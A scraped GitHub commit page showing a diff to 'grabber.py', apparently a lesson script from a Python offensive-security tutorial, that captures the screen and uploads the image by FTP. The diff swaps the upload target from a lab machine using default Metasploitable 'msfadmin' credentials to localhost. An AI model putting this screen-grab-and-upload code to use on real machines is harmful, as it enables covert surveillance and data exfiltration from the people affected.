Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 90c8509

Browse files
committed
update grabber.py
1 parent 9a2eb48 commit 90c8509

File tree

1 file changed

+2
-3
lines changed

1 file changed

+2
-3
lines changed

03/grabber.py

+2-3
Original file line numberDiff line numberDiff line change
@@ -9,12 +9,11 @@
99
memo = wx.MemoryDC(bmap)
1010
memo.Blit(0,0,size[0],size[1],screen,0,0)
1111

12-
del memo
1312
bmap.SaveFile("grabbed.png", wx.BITMAP_TYPE_PNG)
1413

15-
sess_ = ftplib.FTP("192.168.85.128", "msfadmin", "msfadmin")
14+
sess_ = ftplib.FTP("localhost","flypython", "flypython")
1615
file_ = open("grabbed.png", "rb")
17-
sess_.storbinary("STOR /tmp/grabbed.png", file_)
16+
sess_.storbinary("STOR grabbed.png", file_)
1817

1918
file_.close()
2019
sess_.quit()

0 commit comments

Comments
 (0)